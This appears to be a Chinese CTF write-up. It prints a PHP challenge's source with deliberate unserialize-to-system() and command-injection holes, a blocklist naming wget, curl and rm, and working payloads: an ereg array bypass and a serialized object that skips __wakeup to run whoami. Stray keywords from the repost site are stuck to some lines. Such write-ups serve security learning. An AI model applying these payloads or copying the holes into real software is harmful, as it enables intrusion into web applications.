很久沒有玩過ctf了 搞一搞

先貼源碼php

index.phpwindows

<?php
error_reporting(0);

include 'class.php';
include 'waf.php';
if(@$_GET['file']){
	$file = $_GET['file'];
	waf($file);
}else{
	$file = "Welcome";
}

if($_GET['id'] === '1'){
	include 'welcome/nothing.php';
	die();
}
$secret = $_GET['secret'];
$ad  = $_GET['ad'];

if(isset($ad)){
    if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)
    {
        echo '<script>alert("Sorry ! Again !")</script>';
    }
    elseif(strpos($ad, '--') !== FALSE)
    {
		echo "Ok Evrything will be fine!<br ><br >";
		if (stripos($secret, './') > 0) {
			die();
		}
        unserialize($secret);
    }
    else
    {
        echo '<script>alert("Sorry ! You must have --")</script>';
    }
 }


?>

<?php

if($file == "Welcome"){
	require_once 'welcome/welcome.php';
}else{
	if(!file_exists("./import/$file.php")){
		die("The file does not exit !");
	}elseif(!system("php ./import/$file.php")){
		die('Something was wrong ! But it is ok! ignore it :)');

	}
}
?>

 waf.phpless

<?php
error_reporting(0);

function waf($values){
	//$black = [];
	$black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','cat','head','tail','more','tac','rm','ls','tailf',' ','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf');

	foreach ($black as $key => $value) {
		if(stripos($values,$value)){
			die("Attack!");
		}
		if (!ctype_alnum($values)) {
			die("Attack!");
		}
	}
}

?>

 class.phpcurl

<?php
error_reporting(0);

class Record{
    public $file="Welcome";

    public function __construct($file)
    {
        $this->file = $file;
    }

    public function __sleep()
    {
        $this->file = 'sleep.txt';
        return array('file');
    }

    public function __wakeup()
    {
        $this->file = 'wakeup.txt';
    }

    public function __destruct()
    {
        if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
        	system("$this->file");
        }else{
        	echo "<?php Something destroyed ?>";
        }
    }


}

 其實這題就是考察的基礎命令注入和基礎反序列化ide

首先咱們看到class.php裏面system函數函數

 

 

 顯然出題人是想讓咱們從這裏突破  這裏用到windows的&命令 前一個命令正確繼續執行下一個命令 ui

 

 

 咱們能夠構造payloadthis

flag.php&whoami&

好的觸發點咱們看完了 接下來看如何觸發url

 

 

 觸發payloadblog

http://www.zhong.com/ctf/index.php?ad[]=1Aa)--&file=Welcome&secret=O:6:"Record":2:{s:4:"file";s:6:"whoami";}

 

 其實就是考察幾個php函數的漏洞和復現一下反序列化。。。

相關文章
相關標籤/搜索